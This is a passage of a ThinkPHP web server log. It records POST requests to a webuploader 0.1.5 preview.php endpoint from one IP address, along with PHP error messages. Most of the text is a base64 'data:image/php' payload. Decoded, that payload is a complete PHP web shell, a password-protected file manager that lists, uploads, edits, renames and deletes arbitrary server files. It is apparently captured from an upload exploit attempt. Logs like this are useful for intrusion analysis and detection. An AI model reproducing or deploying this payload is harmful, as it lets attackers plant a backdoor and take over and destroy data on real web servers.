lbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:27:18+08:00 ] 119.42.146.234 POST 51tianwei.com/res/webuploader/0.1.5/server/preview.php [运行时间:0.002876s] [吞吐率:347.70req/s] [内存消耗:196.65kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'res', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiAN